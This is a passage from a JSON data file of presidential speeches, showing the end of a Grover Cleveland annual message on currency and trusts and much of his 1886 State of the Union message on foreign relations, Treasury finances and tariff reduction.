details, I can not refrain\nfrom again earnestly presenting the necessity of the prompt reform of a system\nopposed to every rule of sound finance and shown by experience to be fraught\nwith the gravest peril and perplexity. The terrible Civil War, which shook the\nfoundations of our Government more than thirty years ago, brought in its train\nthe destruction of property, the wasting of our country's substance, and the\nestrangement of brethren. These are now past and forgotten. Even the\ndistressing loss of life the conflict entailed is but a sacred memory which\nfosters patriotic sentiment and keeps alive a tender regard for those who\nnobly died. And yet there remains with us to-day in full strength and\nactivity, as an incident of that tremendous struggle, a feature of its\nfinancial necessities not only unsuited to our present circumstances, but\nmanifestly a disturbing menace to business security and an ever-present agent\nof monetary distress.Because we may be enjoying a temporary relief from its depressing influence,\nthis should not lull us into a false security nor lead us to forget the\nsuddenness of past visitations.I am more convinced than ever that we can have no assured financial peace and\nsafety until the Government currency obligations upon which gold may be\ndemanded from the Treasury are withdrawn from circulation and canceled. This\nmight be done, as has been heretofore recommended, by their exchange for\nlong-term bonds bearing a low rate of interest or by their redemption with the\nproceeds of such bonds. Even if only the United States notes known as\ngreenbacks were thus retired it is probable that the Treasury notes issued in\npayment of silver purchases under the act of July 14, 1890, now paid in gold\nwhen demanded, would not create much disturbance, as they might from time to\ntime, when received in the Treasury by redemption in gold or otherwise, be\ngradually and prudently replaced by silver coin.This plan of issuing bonds for the purpose of redemption certainly appears to\nbe the most effective and direct path to the needed reform. In default of\nthis, however, it would be a step in the right direction if currency\nobligations redeemable in gold whenever so redeemed should be canceled instead\nof being reissued. This operation would be a slow remedy, but it would improve\npresent conditions.National banks should redeem their own notes. They should be allowed to issue\ncirculation to the par value of bonds deposited as security for its redemption\nand the tax on their circulation should be reduced to one-fourth of 1 per\ncent.In considering projects for the retirement of United States notes and Treasury\nnotes issued under the law of 1890, I am of the opinion that we have placed\ntoo much stress upon the danger of contracting the currency and have\ncalculated too little upon the gold that would be added to our circulation if\ninvited to us by better and safer financial methods. It is not so much a\ncontraction of our currency that should be avoided as its unequal\ndistribution.This might be obviated and any fear of harmful contraction at the same time\nremoved by allowing the organization of smaller banks and in less populous\ncommunities than are now permitted, and also authorizing existing banks to\nestablish branches in small communities under proper restrictions.The entire case may be presented by the statement that the day of sensible and\nsound financial methods will not dawn upon us until our Government abandons\nthe banking business and the accumulation of funds and confines its monetary\noperations to the receipt of the money contributed by the people for its\nsupport and to the expenditure of such money for the people's benefit.Our business interests and all good citizens long for rest from feverish\nagitation and the inauguration by the Government of a reformed financial\npolicy which will encourage enterprise and make certain the rewards of labor\nand industry.Another topic in which our people rightfully take a deep interest may be here\nbriefly considered. I refer to the existence of trusts and other huge\naggregations of capital the object of which is to secure the monopoly of some\nparticular branch of trade, industry, or commerce and to stifle wholesome\ncompetition. When these are defended, it is usually on the ground that though\nthey increase profits they also reduce prices, and thus may benefit the\npublic. It must be remembered, however, that a reduction of prices to the\npeople is not one of the real objects of these organizations, nor is their\ntendency necessarily in that direction. If it occurs in a particular case it\nis only because it accords with the purposes or interests of those managing\nthe scheme.Such occasional results fall far short of compensating the palpable evils\ncharged to the account of trusts and monopolies. Their tendency is to crush\nout individual independence and to hinder or prevent the free use of human\nfaculties and the full development of human character. Through them the\nfarmer, the artisan, and the small trader is in danger of dislodgment from the\nproud position of being his own master, watchful of all that touches his\ncountry's prosperity, in which he has an individual lot, and interested in all\nthat affects the advantages of business of which he is a factor, to be\nrelegated to the level of a mere appurtenance to a great machine, with little\nfree will, with no duty but that of passive obedience, and with little hope or\nopportunity of rising in the scale of responsible and helpful citizenship.To the instinctive belief that such is the inevitable trend of trusts and\nmonopolies is due the widespread and deep-seated popular aversion in which\nthey are held and the not unreasonable insistence that, whatever may be their\nincidental economic advantages, their general effect upon personal character,\nprospects, and usefulness can not be otherwise than injurious.Though Congress has attempted to deal with this matter by legislation, the\nlaws passed for that purpose thus far have proved ineffective, not because of\nany lack of disposition or attempt to enforce them, but simply because the\nlaws themselves as interpreted by the courts do not reach the difficulty. If\nthe insufficiencies of existing laws can be remedied by further legislation,\nit should be done. The fact must be recognized, however, that all Federal\nlegislation on this subject may fall short of its purpose because of inherent\nobstacles and also because of the complex character of our governmental\nsystem, which, while making the Federal authority supreme within its sphere,\nhas carefully limited that sphere by metes and bounds that can not be\ntransgressed. The decision of our highest court on this precise question\nrenders it quite doubtful whether the evils of trusts and monopolies can be\nadequately treated through Federal action unless they seek directly and\npurposely to include in their objects transportation or intercourse between\nStates or between the United States and foreign countries.It does not follow, however, that this is the limit of the remedy that may be\napplied. Even though it may be found that Federal authority is not broad\nenough to fully reach the case, there can be no doubt of the power of the\nseveral States to act effectively in the premises, and there should be no\nreason to doubt their willingness to judiciously exercise such power.In concluding this communication its last words shall be an appeal to the\nCongress for the most rigid economy in the expenditure of the money it holds\nin trust for the people. The way to perplexing extravagance is easy, but a\nreturn to frugality is difficult. When, however, it is considered that those\nwho bear the burdens of taxation have no guaranty of honest care save in the\nfidelity of their public servants, the duty of all possible retrenchment is\nplainly manifest.When our differences are forgotten and our contests of political opinion are\nno longer remembered, nothing in the retrospect of our public service will be\nas fortunate and comforting as the recollection of official duty well\nperformed and the memory of a constant devotion to the interests of our\nconfiding fellow-countrymen.GROVER CLEVELAND", 
+    "name": "Grover Cleveland"
+}
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+{
+    "date": "December 6, 1886", 
+    "speech": "To the Congress of the United States:In discharge of a constitutional duty, and following a well-established\nprecedent in the Executive office, I herewith transmit to the Congress at\nits reassembling certain information concerning the state of the Union,\ntogether with such recommendations for legislative consideration as appear\nnecessary and expedient.Our Government has consistently maintained its relations of friendship\ntoward all other powers and of neighborly interest toward those whose\npossessions are contiguous to our own. Few questions have arisen during the\npast year with other governments, and none of those are beyond the reach of\nsettlement in friendly counsel.We are as yet without provision for the settlement of claims of citizens of\nthe United States against Chile for injustice during the late war with Peru\nand Bolivia. The mixed commissions organized under claims conventions\nconcluded by the Chilean Government with certain European States have\ndeveloped an amount of friction which we trust can be avoided in the\nconvention which our representative at Santiago is authorized to\nnegotiate.The cruel treatment of inoffensive Chinese has, I regret to say, been\nrepeated in some of the far Western States and Territories, and acts of\nviolence against those people, beyond the power of the local constituted\nauthorities to prevent and difficult to punish, are reported even in\ndistant Alaska. Much of this violence can be traced to race prejudice and\ncompetition of labor, which can not, however, justify the oppression of\nstrangers whose safety is guaranteed by our treaty with China equally with\nthe most favored nations.In opening our vast domain to alien elements the purpose of our lawgivers\nwas to invite assimilation, and not to provide an arena for endless\nantagonism. The paramount duty of maintaining public order and defending\nthe interests of our own people may require the adoption of measures of\nrestriction, but they should not tolerate the oppression of individuals of\na special race. I am not without assurance that the Government of China,\nwhose friendly disposition toward us I am most happy to recognize, will\nmeet us halfway in devising a comprehensive remedy by which an effective\nlimitation of Chinese emigration, joined to protection of those Chinese\nsubjects who remain in this country, may be secured.Legislation is needed to execute the provisions of our Chinese convention\nof 1880 touching the opium traffic.While the good will of the Colombian Government toward our country is\nmanifest, the situation of American interests on the Isthmus of Panama has\nat times excited concern and invited friendly action looking to the\nperformance of the engagements of the two nations concerning the territory\nembraced in the interoceanic transit. With the subsidence of the Isthmian\ndisturbances and the erection of the State of Panama into a federal\ndistrict under the direct government of the constitutional administration\nat Bogota, a new order of things has been inaugurated, which, although as\nyet somewhat experimental and affording scope for arbitrary exercise of\npower by the delegates of the national authority, promises much\nimprovement.The sympathy between the people of the United States and France, born\nduring our colonial struggle for independence and continuing today, has\nreceived a fresh impulse in the successful completion and dedication of the\ncolossal statue of \"Liberty Enlightening the World\" in New York Harbor--the\ngift of Frenchmen to Americans.A convention between the United States and certain other powers for the\nprotection of submarine cables was signed at Paris on March 14, 1884, and\nhas been duly ratified and proclaimed by this Government. By agreement\nbetween the high contracting parties this convention is to go into effect\non the 1st of January next, but the legislation required for its execution\nin the United States has not yet been adopted. I earnestly recommend its\nenactment.Cases have continued to occur in Germany giving rise to much correspondence\nin relation to the privilege of sojourn of our naturalized citizens of\nGerman origin revisiting the land of their birth, yet I am happy to state\nthat our relations with that country have lost none of their accustomed\ncordiality.The claims for interest upon the amount of tonnage dues illegally exacted\nfrom certain German steamship lines were favorably reported in both Houses\nof Congress at the last session, and I trust will receive final and\nfavorable action at an early day.The recommendations contained in my last annual message in relation to a\nmode of settlement of the fishery rights in the waters of British North\nAmerica, so long a subject of anxious difference between the United States\nand Great Britain, was met by an adverse vote of the Senate on April 13\nlast, and thereupon negotiations were instituted to obtain an agreement\nwith Her Britannic Majesty's Government for the promulgation of such joint\ninterpretation and definition of the article of the convention of 1818\nrelating to the territorial waters and inshore fisheries of the British\nProvinces as should secure the Canadian rights from encroachment by the\nUnited States fishermen and at the same time insure the enjoyment by the\nlatter of the privileges guaranteed to them by such convention.The questions involved are of long standing, of grave consequence, and from\ntime to time for nearly three-quarters of a century have given rise to\nearnest international discussions, not unaccompanied by irritation.Temporary arrangements by treaties have served to allay friction, which,\nhowever, has revived as each treaty was terminated. The last arrangement,\nunder the treaty of 1871, was abrogated after due notice by the United\nStates on June 30, 1885, but I was enabled to obtain for our fishermen for\nthe remainder of that season enjoyment of the full privileges accorded by\nthe terminated treaty.The joint high commission by whom the treaty had been negotiated, although\ninvested with plenary power to make a permanent settlement, were content\nwith a temporary arrangement, after the termination of which the question\nwas relegated to the stipulations of the treaty of 1818, as to the first\narticle of which no construction satisfactory to both countries has ever\nbeen agreed upon.The progress of civilization and growth of population in the British\nProvinces to which the fisheries in question are contiguous and the\nexpansion of commercial intercourse between them and the United States\npresent to-day a condition of affairs scarcely realizable at the date of\nthe negotiations of 1818.New and vast interests have been brought into existence; modes of\nintercourse between the respective countries have been invented and\nmultiplied; the methods of conducting the fisheries have been wholly\nchanged; and all this is necessarily entitled to candid and careful\nconsideration in the adjustment of the terms and conditions of intercourse\nand commerce between the United States and their neighbors along a frontier\nof over 3,500 miles.This propinquity, community of language and occupation, and similarity of\npolitical and social institutions indicate the practicability and obvious\nwisdom of maintaining mutually beneficial and friendly relations.Whilst I am unfeignedly desirous that such relations should exist between\nus and the inhabitants of Canada, yet the action of their officials during\nthe past season toward our fishermen has been such as to seriously threaten\ntheir continuance.Although disappointed in my efforts to secure a satisfactory settlement of\nthe fishery question, negotiations are still pending, with reasonable hope\nthat before the close of the present session of Congress announcement may\nbe made that an acceptable conclusion has been reached.As at an early day there may be laid before Congress the correspondence of\nthe Department of State in relation to this important subject, so that the\nhistory of the past fishing season may be fully disclosed and the action\nand the attitude of the Administration clearly comprehended, a more\nextended reference is not deemed necessary in this communication.The recommendation submitted last year that provision be made for a\npreliminary reconnoissance of the conventional boundary line between Alaska\nand British Columbia is renewed.I express my unhesitating conviction that the intimacy of our relations\nwith Hawaii should be emphasized. As a result of the reciprocity treaty of\n1875, those islands, on the highway of Oriental and Australasian traffic,\nare virtually an outpost of American commerce and a stepping-stone to the\ngrowing trade of the Pacific. The Polynesian Island groups have been so\nabsorbed by other and more powerful governments that the Hawaiian Islands\nare left almost alone in the enjoyment of their autonomy, which it is\nimportant for us should be preserved. Our treaty is now terminable on one\nyear's notice, but propositions to abrogate it would be, in my judgment,\nmost ill advised. The paramount influence we have there acquired, once\nrelinquished, could only with difficulty be regained, and a valuable ground\nof vantage for ourselves might be converted into a stronghold for our\ncommercial competitors. I earnestly recommend that the existing treaty\nstipulations be extended for a further term of seven years. A recently\nsigned treaty to this end is now before the Senate.The importance of telegraphic communication between those islands and the\nUnited States should not be overlooked.The question of a general revision of the treaties of Japan is again under\ndiscussion at Tokyo. As the first to open relations with that Empire, and\nas the nation in most direct commercial relations with Japan, the United\nStates have lost no opportunity to testify their consistent friendship by\nsupporting the just claims of Japan to autonomy and independence among\nnations.A treaty of extradition between the United States and Japan, the first\nconcluded by that Empire, has been lately proclaimed.The weakness of Liberia and the difficulty of maintaining effective\nsovereignty over its outlying districts have exposed that Republic to\nencroachment. It can not be forgotten that this distant community is an\noffshoot of our own system, owing its origin to the associated benevolence\nof American citizens, whose praiseworthy efforts to create a nucleus of\ncivilization in the Dark Continent have commanded respect and sympathy\neverywhere, especially in this country. Although a formal protectorate over\nLiberia is contrary to our traditional policy, the moral right and duty of\nthe United States to assist in all proper ways in the maintenance of its\nintegrity is obvious, and has been consistently announced during nearly\nhalf a century. I recommend that in the reorganization of our Navy a small\nvessel, no longer found adequate to our needs, be presented to Liberia, to\nbe employed by it in the protection of its coastwise revenues.The encouraging development of beneficial and intimate relations between\nthe United States and Mexico, which has been so marked within the past few\nyears, is at once the occasion of congratulation and of friendly\nsolicitude. I urgently renew my former representation of the need or speedy\nlegislation by Congress to carry into effect the reciprocity commercial\nconvention of January 20, 1883.Our commercial treaty of 1831 with Mexico was terminated, according to its\nprovisions, in 1881, upon notification given by Mexico in pursuance of her\nannounced policy of recasting all her commercial treaties. Mexico has since\nconcluded with several foreign governments new treaties of commerce and\nnavigation, defining alien rights of trade, property, and residence,\ntreatment of shipping, consular privileges, and the like. Our yet\nunexecuted reciprocity convention of 1883 covers none of these points, the\nsettlement of which is so necessary to good relationship. I propose to\ninitiate with Mexico negotiations for a new and enlarged treaty of commerce\nand navigation.In compliance with a resolution of the Senate, I communicated to that body\non August 2 last, and also to the House of Representatives, the\ncorrespondence in the case of A. K. Cutting, an American citizen, then\nimprisoned in Mexico, charged with the commission of a penal offense in\nTexas, of which a Mexican citizen was the object.After demand had been made for his release the charge against him was\namended so as to include a violation of Mexican law within Mexican\nterritory.This joinder of alleged offenses, one within and the other exterior to\nMexico, induced me to order a special investigation of the case, pending\nwhich Mr. Cutting was released.The incident has, however, disclosed a claim of jurisdiction by Mexico\nnovel in our history, whereby any offense committed anywhere by a\nforeigner, penal in the place of its commission, and of which a Mexican is\nthe object, may, if the offender be found in Mexico, be there tried and\npunished in conformity with Mexican laws.This jurisdiction was sustained by the courts of Mexico in the Cutting\ncase, and approved by the executive branch of that Government, upon the\nauthority of a Mexican statute. The appellate court in releasing Mr.\nCutting decided that the abandonment of the complaint by the Mexican\ncitizen aggrieved by the alleged crime (a libelous publication) removed the\nbasis of further prosecution, and also declared justice to have been\nsatisfied by the enforcement of a small part of the original sentence.The admission of such a pretension would be attended with serious results,\ninvasive of the jurisdiction of this Government and highly dangerous to our\ncitizens in foreign lands. Therefore I have denied it and protested against\nits attempted exercise as unwarranted by the principles of law and\ninternational usages.A sovereign has jurisdiction of offenses which take effect within his\nterritory, although concocted or commenced outside of it; but the right is\ndenied of any foreign sovereign to punish a citizen of the United States\nfor an offense consummated on our soil in violation of our laws, even\nthough the offense be against a subject or citizen of such sovereign. The\nMexican statute in question makes the claim broadly, and the principle, if\nconceded, would create a dual responsibility in the citizen and lead to\ninextricable confusion, destructive of that certainty in the law which is\nan essential of liberty.When citizens of the United States voluntarily go into a foreign country,\nthey must abide by the laws there in force, and will not be protected by\ntheir own Government from the consequences of an offense against those laws\ncommitted in such foreign country; but watchful care and interest of this\nGovernment over its citizens are not relinquished because they have gone\nabroad, and if charged with crime committed in the foreign land a fair and\nopen trial, conducted with decent regard for justice and humanity, will be\ndemanded for them. With less than that this Government will not be content\nwhen the life or liberty of its citizens is at stake.Whatever the degree to which extraterritorial criminal jurisdiction may\nhave been formerly allowed by consent and reciprocal agreement among\ncertain of the European States, no such doctrine or practice was ever known\nto the laws of this country or of that from which our institutions have\nmainly been derived.In the case of Mexico there are reasons especially strong for perfect\nharmony in the mutual exercise of jurisdiction. Nature has made us\nirrevocably neighbors, and wisdom and kind feeling should make us friends.The overflow of capital and enterprise from the United States is a potent\nfactor in assisting the development of the resources of Mexico and in\nbuilding up the prosperity of both countries.To assist this good work all grounds of apprehension for the security of\nperson and property should be removed; and I trust that in the interests of\ngood neighborhood the statute referred to will be so modified as to\neliminate the present possibilities of danger to the peace of the two\ncountries.The Government of the Netherlands has exhibited concern in relation to\ncertain features of our tariff laws, which are supposed by them to be aimed\nat a class of tobacco produced in the Dutch East Indies. Comment would seem\nunnecessary upon the unwisdom of legislation appearing to have a special\nnational discrimination for its object, which, although unintentional, may\ngive rise to injurious retaliation.The establishment, less than four years ago, of a legation at Teheran is\nbearing fruit in the interest exhibited by the Shah's Government in the\nindustrial activity of the United States and the opportunities of\nbeneficial interchanges.Stable government is now happily restored in Peru by the election of a\nconstitutional president, and a period of rehabilitation is entered upon;\nbut the recovery is necessarily slow from the exhaustion caused by the late\nwar and civil disturbances. A convention to adjust by arbitration claims of\nour citizens has been proposed and is under consideration.The naval officer who bore to Siberia the testimonials bestowed by Congress\nin recognition of the aid given to the Jeannette survivors has successfully\naccomplished his mission. His interesting report will be submitted. It is\npleasant to know that this mark of appreciation has been welcomed by the\nRussian Government and people as befits the traditional friendship of the\ntwo countries.Civil perturbations in the Samoan Islands have during the past few years\nbeen a source of considerable embarrassment to the three\nGovernments-Germany, Great Britain, and the United States--whose relations\nand extraterritorial rights in that important group are guaranteed by\ntreaties. The weakness of the native administration and the conflict of\nopposing interests in the islands have led King Malietoa to seek alliance\nor protection in some one quarter, regardless of the distinct engagements\nwhereby no one of the three treaty powers may acquire any paramount or\nexclusive interest. In May last Malietoa offered to place Samoa under the\nprotection of the United States, and the late consul, without authority,\nassumed to grant it. The proceeding was promptly disavowed and the\noverzealous official recalled. Special agents of the three Governments have\nbeen deputed to examine the situation in the islands. With a change in the\nrepresentation of all three powers and a harmonious understanding between\nthem, the peace, prosperity, autonomous administration, and neutrality of\nSamoa can hardly fail to be secured.It appearing that the Government of Spain did not extend to the flag of the\nUnited States in the Antilles the full measure of reciprocity requisite\nunder our statute for the continuance of the suspension of discriminations\nagainst the Spanish flag in our ports, I was constrained in October last to\nrescind my predecessor's proclamation of February 14, 1884, permitting such\nsuspension. An arrangement was, however, speedily reached, and upon\nnotification from the Government of Spain that all differential treatment\nof our vessels and their cargoes, from the United States or from any\nforeign country, had been completely and absolutely relinquished, I availed\nmyself of the discretion conferred by law and issued on the 27th of October\nmy proclamation declaring reciprocal suspension in the United States. It is\nmost gratifying to bear testimony to the earnest spirit in which the\nGovernment of the Queen Regent has met our efforts to avert the initiation\nof commercial discriminations and reprisals, which are ever disastrous to\nthe material interests and the political good will of the countries they\nmay affect.The profitable development of the large commercial exchanges between the\nUnited States and the Spanish Antilles is naturally an object of\nsolicitude. Lying close at our doors, and finding here their main markets\nof supply and demand, the welfare of Cuba and Puerto Rico and their\nproduction and trade are scarcely less important to us than to Spain. Their\ncommercial and financial movements are so naturally a part of our system\nthat no obstacle to fuller and freer intercourse should be permitted to\nexist. The standing instructions of our representatives at Madrid and\nHavana have for years been to leave no effort unessayed to further these\nends, and at no time has the equal good desire of Spain been more hopefully\nmanifested than now.The Government of Spain, by removing the consular tonnage fees on cargoes\nshipped to the Antilles and by reducing passport fees, has shown its\nrecognition of the needs of less trammeled intercourse.An effort has been made during the past year to remove the hindrances to\nthe proclamation of the treaty of naturalization with the Sublime Porte,\nsigned in 1874, which has remained inoperative owing to a disagreement of\ninterpretation of the clauses relative to the effects of the return to and\nsojourn of a naturalized citizen in the land of origin. I trust soon to be\nable to announce a favorable settlement of the differences as to this\ninterpretation.It has been highly satisfactory to note the improved treatment of American\nmissionaries in Turkey, as has been attested by their acknowledgments to\nour late minister to that Government of his successful exertions in their\nbehalf.The exchange of ratifications of the convention of December 5, 1885, with\nVenezuela, for the reopening of the awards of the Caracas Commission under\nthe claims convention of 1866, has not yet been effected, owing to the\ndelay of the Executive of that Republic in ratifying the measure. I trust\nthat this postponement will be brief; but should it much longer continue,\nthe delay may well be regarded as a rescission of the compact and a failure\non the part of Venezuela to complete an arrangement so persistently sought\nby her during many years and assented to by this Government in a spirit of\ninternational fairness, although to the detriment of holders of bona fide\nawards of the impugned commission.I renew the recommendation of my last annual message that existing\nlegislation concerning citizenship and naturalization be revised. We have\ntreaties with many states providing for the renunciation of citizenship by\nnaturalized aliens, but no statute is found to give effect to such\nengagements, nor any which provides a needed central bureau for the\nregistration of naturalized citizens.Experience suggests that our statutes regulating extradition might be\nadvantageously amended by a provision for the transit across our territory,\nnow a convenient thoroughfare of travel from one foreign country to\nanother, of fugitives surrendered by a foreign government to a third state.\nSuch provisions are not unusual in the legislation of other countries, and\ntend to prevent the miscarriage of justice. It is also desirable, in order\nto remove present uncertainties, that authority should be conferred on the\nSecretary of State to issue a certificate, in case of an arrest for the\npurpose of extradition, to the officer before whom the proceeding is\npending, showing that a requisition for the surrender of the person charged\nhas been duly made. Such a certificate, if required to be received before\nthe prisoner's examination, would prevent a long and expensive judicial\ninquiry into a charge which the foreign government might not desire to\npress. I also recommend that express provision be made for the immediate\ndischarge from custody of persons committed for extradition where the\nPresident is of opinion that surrender should not be made.The drift of sentiment in civilized communities toward full recognition of\nthe rights of property in the creations of the human intellect has brought\nabout the adoption by many important nations of an international copyright\nconvention, which was signed at Berne on the 18th of September, 1885.Inasmuch as the Constitution gives to the Congress the power \"to promote\nthe progress of science and useful arts by securing for limited times to\nauthors and inventors the exclusive right to their respective writings and\ndiscoveries,\" this Government did not feel warranted in becoming a\nsignatory pending the action of Congress upon measures of international\ncopyright now before it; but the right of adhesion to the Berne convention\nhereafter has been reserved. I trust the subject will receive at your hands\nthe attention it deserves, and that the just claims of authors, so urgently\npressed, will be duly heeded.Representations continue to be made to me of the injurious effect upon\nAmerican artists studying abroad and having free access to the art\ncollections of foreign countries of maintaining a discriminating duty\nagainst the introduction of the works of their brother artists of other\ncountries, and I am induced to repeat my recommendation for the abolition\nof that tax.Pursuant to a provision of the diplomatic and consular appropriation act\napproved July 1, 1886, the estimates submitted by the Secretary of State\nfor the maintenance of the consular service have been recast on the basis\nof salaries for all officers to whom such allowance is deemed advisable.\nAdvantage has been taken of this to redistribute the salaries of the\noffices now appropriated for, in accordance with the work performed, the\nimportance of the representative duties of the incumbent, and the cost of\nliving at each post. The last consideration has been too often lost sight\nof in the allowances heretofore made. The compensation which may suffice\nfor the decent maintenance of a worthy and capable officer in a position of\nonerous and representative trust at a post readily accessible, and where\nthe necessaries of life are abundant and cheap, may prove an inadequate\npittance in distant lands, where the better part of a year's pay is\nconsumed in reaching the post of duty, and where the comforts of ordinary\ncivilized existence can only be obtained with difficulty and at exorbitant\ncost. I trust that in considering the submitted schedules no mistaken\ntheory of economy will perpetuate a system which in the past has virtually\nclosed to deserving talent many offices where capacity and attainments of a\nhigh order are indispensable, and in not a few instances has brought\ndiscredit on our national character and entailed embarrassment and even\nsuffering on those deputed to uphold our dignity and interests abroad.In connection with this subject I earnestly reiterate the practical\nnecessity of supplying some mode of trustworthy inspection and report of\nthe manner in which the consulates are conducted. In the absence of such\nreliable information efficiency can scarcely be rewarded or its opposite\ncorrected.Increasing competition in trade has directed attention to the value of the\nconsular reports printed by the Department of State, and the efforts of the\nGovernment to extend the practical usefulness of these reports have created\na wider demand for them at home and a spirit of emulation abroad.\nConstituting a record at the changes occurring in trade and of the progress\nof the arts and invention in foreign countries, they are much sought for by\nall interested in the subjects which they embrace.The report of the Secretary of the Treasury exhibits in detail the\ncondition of the public finances and of the several branches of the\nGovernment related to his Department. I especially direct the attention of\nthe Congress to the recommendations contained in this and the last\npreceding report of the Secretary touching the simplification and amendment\nof the laws relating to the collection of our revenues, and in the interest\nof economy and justice to the Government I hope they may be adopted by\nappropriate legislation.The ordinary receipts of the Government for the fiscal year ended June 30,\n1886, were $336,439,727.06. Of this amount $192,905,023.41 was received\nfrom customs and $116,805,936.48 from internal revenue. The total receipts,\nas here stated, were $13,749,020.68 greater than for the previous year, but\nthe increase from customs was $11,434,084.10 and from internal revenue\n$4,407,210.94, making a gain in these items for the last year of\n$15,841,295.04, a falling off in other resources reducing the total\nincrease to the smaller amount mentioned.The expense at the different custom-houses of collecting this increased\ncustoms revenue was less than the expense attending the collection of such\nrevenue for the preceding year by $490,608, and the increased receipts of\ninternal revenue were collected at a cost to the Internal-Revenue Bureau\n$155,944.99 less than the expense of such collection for the previous\nyear.The total ordinary expenses of the Government for the fiscal year ended\nJune 30, 1886, were $242,483,138.50, being less by $17,788,797 than such\nexpenditures for the year preceding, and leaving a surplus in the Treasury\nat the close of the last fiscal year of $93,956,588.56, as against\n$63,463,771.27 at the close of the previous year, being an increase in such\nsurplus of $30,492,817.29.The expenditures are compared with those of the preceding fiscal year and\nclassified as follows:For the current year to end June 30, 1887, the ascertained receipts up to\nOctober 1, 1886, with such receipts estimated for the remainder of the\nyear, amount to $356,000,000.The expenditures ascertained and estimated for the same period are\n$266,000,000, indicating an anticipated surplus at the close of the year of\n$90,000,000.The total value of the exports from the United States to foreign countries\nduring the fiscal year is stated and compared with the preceding year as\nfollows:The value of some of our leading exports during the last fiscal year, as\ncompared with the value of the same for the year immediately preceding, is\nhere given, and furnishes information both interesting and suggestive:Our imports during the last fiscal year, as compared with the previous\nyear, were as follows:In my last annual message to the Congress attention was directed to the\nfact that the revenues of the Government exceeded its actual needs, and it\nwas suggested that legislative action should be taken to relieve the people\nfrom the unnecessary burden of taxation thus made apparent.In view of the pressing importance of the subject I deem it my duty to\nagain urge its consideration.The income of the Government, by its increased volume and through economies\nin its collection, is now more than ever in excess of public necessities.\nThe application of the surplus to the payment of such portion of the public\ndebt as is now at our option subject to extinguishment, if continued at the\nrate which has lately prevailed, would retire that class of indebtedness\nwithin less than one year from this date. Thus a continuation of our\npresent revenue system would soon result in the receipt of an annual income\nmuch greater than necessary to meet Government expenses, with no\nindebtedness upon which it could be applied. We should then be confronted\nwith a vast quantity of money, the circulating medium of the people,\nhoarded in the Treasury when it should be in their hands, or we should be\ndrawn into wasteful public extravagance, with all the corrupting national\ndemoralization which follows in its train.But it is not the simple existence of this surplus and its threatened\nattendant evils which furnish the strongest argument against our present\nscale of Federal taxation. Its worst phase is the exaction of such a\nsurplus through a perversion of the relations between the people and their\nGovernment and a dangerous departure from the rules which limit the right\nof Federal taxation.Good government, and especially the government of which every American\ncitizen boasts, has for its objects the protection of every person within\nits care in the greatest liberty consistent with the good order of society\nand his perfect security in the enjoyment of his earnings with the least\npossible diminution for public needs. When more of the people's substance\nis exacted through the form of taxation than is necessary to meet the just\nobligations of the Government and the expense of its economical\nadministration, such exaction becomes ruthless extortion and a violation of\nthe fundamental principles of a free government.The indirect manner in which these exactions are made has a tendency to\nconceal their true character and their extent. But we have arrived at a\nstage of superfluous revenue which has aroused the people to a realization\nof the fact that the amount raised professedly for the support of the\nGovernment is paid by them as absolutely if added to the price of the\nthings which supply their daily wants as if it was paid at fixed periods\ninto the hand of the tax gatherer.Those who toil for daily wages are beginning to understand that capital,\nthough sometimes vaunting its importance and clamoring for the protection\nand favor of the Government, is dull and sluggish till, touched by the\nmagical hand of labor, it springs into activity, furnishing an occasion for\nFederal taxation and gaining the value which enables it to bear its burden.\nAnd the laboring man is thoughtfully inquiring whether in these\ncircumstances, and considering the tribute he constantly pays into the\npublic Treasury as he supplies his daily wants, he receives his fair share\nof advantages.There is also a suspicion abroad that the surplus of our revenues indicates\nabnormal and exceptional business profits, which, under the system which\nproduces such surplus, increase without corresponding benefit to the people\nat large the vast accumulations of a few among our citizens, whose\nfortunes, rivaling the wealth of the most favored in antidemocratic\nnations, are not the natural growth of a steady, plain, and industrious\nrepublic.Our farmers, too, and those engaged directly and indirectly in supplying\nthe products of agriculture, see that day by day, and as often as the daily\nwants of their households recur, they are forced to pay excessive and\nneedless taxation, while their products struggle in foreign markets with\nthe competition of nations, which, by allowing a freer exchange of\nproductions than we permit, enable their people to sell for prices which\ndistress the American farmer.As every patriotic citizen rejoices in the constantly increasing pride of\nour people in American citizenship and in the glory of our national\nachievements and progress, a sentiment prevails that the leading strings\nuseful to a nation in its infancy may well be to a great extent discarded\nin the present stage of American ingenuity, courage, and fearless\nself-reliance; and for the privilege of indulging this sentiment with true\nAmerican enthusiasm our citizens are quite willing to forego an idle\nsurplus in the public Treasury.And all the people know that the average rate of Federal taxation upon\nimports is to-day, in time of peace, but little less, while upon some\narticles of necessary consumption it is actually more, than was imposed by\nthe grievous burden willingly borne at a time when the Government needed\nmillions to maintain by war the safety and integrity of the Union.It has been the policy of the Government to collect the principal part of\nits revenues by a tax upon imports, and no change in this policy is\ndesirable. But the present condition of affairs constrains our people to\ndemand that by a revision of our revenue laws the receipts of the\nGovernment shall be reduced to the necessary expense of its economical\nadministration; and this demand should be recognized and obeyed by the\npeople's representatives in the legislative branch of the Government.In readjusting the burdens of Federal taxation a sound public policy\nrequires that such of our citizens as have built up large and important\nindustries under present conditions should not be suddenly and to their\ninjury deprived of advantages to which they have adapted their business;\nbut if the public good requires it they should be content with such\nconsideration as shall deal fairly and cautiously with their interests,\nwhile the just demand of the people for relief from needless taxation is\nhonestly answered.A reasonable and timely submission to such a demand should certainly be\npossible without disastrous shock to any interest; and a cheerful\nconcession sometimes averts abrupt and heedless action, often the outgrowth\nof impatience and delayed justice.Due regard should be also accorded in any proposed readjustment to the\ninterests of American labor so far as they are involved. We congratulate\nourselves that there is among us no laboring class fixed within unyielding\nbounds and doomed under all conditions to the inexorable fate of daily\ntoil. We recognize in labor a chief factor in the wealth of the Republic,\nand we treat those who have it in their keeping as citizens entitled to the\nmost careful regard and thoughtful attention. This regard and attention\nshould be awarded them, not only because labor is the capital of our\nworkingmen, justly entitled to its share of Government favor, but for the\nfurther and not less important reason that the laboring man, surrounded by\nhis family in his humble home, as a consumer is vitally interested in all\nthat cheapens the cost of living and enables him to bring within his\ndomestic circle additional comforts and advantages.This relation of the workingman to the revenue laws of the country and the\nmanner in which it palpably influences the question of wages should not be\nforgotten in the justifiable prominence given to the proper maintenance of\nthe supply and protection of well-paid labor. And these considerations\nsuggest such an arrangement of Government revenues as shall reduce the\nexpense of living, while it does not curtail the opportunity for work nor\nreduce the compensation of American labor and injuriously affect its\ncondition and the dignified place it holds in the estimation of our\npeople.But our farmers and agriculturists--those who from the soil produce the\nthings consumed by all--are perhaps more directly and plainly concerned\nthan any other of our citizens in a just and careful system of Federal\ntaxation. Those actually engaged in and more remotely 